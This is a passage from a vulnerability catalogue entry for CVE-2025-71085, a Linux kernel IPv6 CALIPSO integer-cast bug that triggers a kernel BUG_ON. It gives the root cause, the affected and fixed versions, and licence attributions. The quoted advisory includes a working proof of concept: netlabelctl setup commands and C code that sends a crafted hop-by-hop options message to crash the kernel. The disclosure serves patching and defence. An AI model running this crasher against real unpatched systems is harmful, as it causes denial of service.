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Exploitation unknown; this catalogue does not assess exploitation. ## Source facts (JSON-quoted data) CNA source text (English) id: "CVE-2025-71085" idYear: 2025 status: "PUBLISHED" publishedAt: "2026-01-13T15:34:48.324Z" updatedAt: "2026-10-19T18:15:11.736Z" importedAt: "2026-10-24T01:57:44.935Z" snapshot: {"id":"cve_2026-10-24_midnight_baseline","at":"2026-10-24T00:00:00.000Z","source":"https://github.com/CVEProject/cvelistV5/releases/tag/cve_2026-10-24_0100Z"} url: "https://cveboard.org/cve/CVE-2025-71085" json: "https://cveboard.org/cve/CVE-2025-71085.json" sourceURL: "https://www.cve.org/CVERecord?id=CVE-2025-71085" title: "ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()" summary: "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom \u003e INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n netlabelctl map del default\n netlabelctl calipso add pass doi:7\n netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n Then run the following PoC:\n\n int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n // setup msghdr\n int cmsg_size = 2;\n int cmsg_len = 0x60;\n struct msghdr msg;\n struct sockaddr_in6 dest_addr;\n struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n sizeof(struct cmsghdr) + cmsg_len);\n msg.msg_name = &dest_addr;\n msg.msg_namelen = sizeof(dest_addr);\n msg.msg_iov = NULL;\n msg.msg_iovlen = 0;\n msg.msg_control = cmsg;\n msg.msg_controllen = cmsg_len;\n msg.msg_flags = 0;\n\n // setup sockaddr\n dest_addr.sin6_family = AF_INET6;\n dest_addr.sin6_port = htons(31337);\n dest_addr.sin6_flowinfo = htonl(31337);\n dest_addr.sin6_addr = in6addr_loopback;\n dest_addr.sin6_scope_id = 31337;\n\n // setup cmsghdr\n cmsg-\u003ecmsg_len = cmsg_len;\n cmsg-\u003ecmsg_level = IPPROTO_IPV6;\n cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\n char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n sendmsg(fd, &msg, 0);" affected: [{"versions":[{"version":"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3","status":"affected","versionType":"git","lessThan":"86f365897068d09418488165a68b23cb5baa37f2"},{"version":"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3","status":"affected","versionType":"git","lessThan":"6b7522424529556c9cbc15e15e7bd4eeae310910"},{"version":"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3","status":"affected","versionType":"git","lessThan":"2bb759062efa188ea5d07242a43e5aa5464bbae1"},{"version":"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3","status":"affected","versionType":"git","lessThan":"c53aa6a5086f03f19564096ee084a202a8c738c0"},{"version":"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3","status":"affected","versionType":"git","lessThan":"bf3709738d8a8cc6fa275773170c5c29511a0b24"},{"version":"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3","status":"affected","versionType":"git","lessThan":"73744ad5696dce0e0f43872aba8de6a83d6ad570"},{"version":"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3","status":"affected","versionType":"git","lessThan":"58fc7342b529803d3c221101102fe913df7adb83"}],"vendor":"Linux","product":"Linux","defaultStatus":"unaffected"},{"versions":[{"version":"4.8","status":"affected"},{"version":"0","status":"unaffected","versionType":"semver","lessThan":"4.8"},{"version":"5.10.248","status":"unaffected","versionType":"semver","lessThanOrEqual":"5.10.*"},{"version":"5.15.198","status":"unaffected","versionType":"semver","lessThanOrEqual":"5.15.*"},{"version":"6.1.160","status":"unaffected","versionType":"semver","lessThanOrEqual":"6.1.*"},{"version":"6.6.120","status":"unaffected","versionType":"semver","lessThanOrEqual":"6.6.*"},{"version":"6.12.64","status":"unaffected","versionType":"semver","lessThanOrEqual":"6.12.*"},{"version":"6.18.4","status":"unaffected","versionType":"semver","lessThanOrEqual":"6.18.*"},{"version":"6.19","status":"unaffected","versionType":"original_commit_for_fix","lessThanOrEqual":"*"}],"vendor":"Linux","product":"Linux","defaultStatus":"affected"}] ## Source licences and attribution CISA Known Exploited Vulnerabilities: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (US government work) GitHub Advisory Database: https://github.com/advisories (CC BY 4.0) Have I Been Pwned: https://haveibeenpwned.com/ (CC BY 4.0) CVE Program (CVE records): https://www.cve.org/Legal/TermsOfUse (CVE Terms of Use) Copyright © 1999-2026, The MITRE Corporation. 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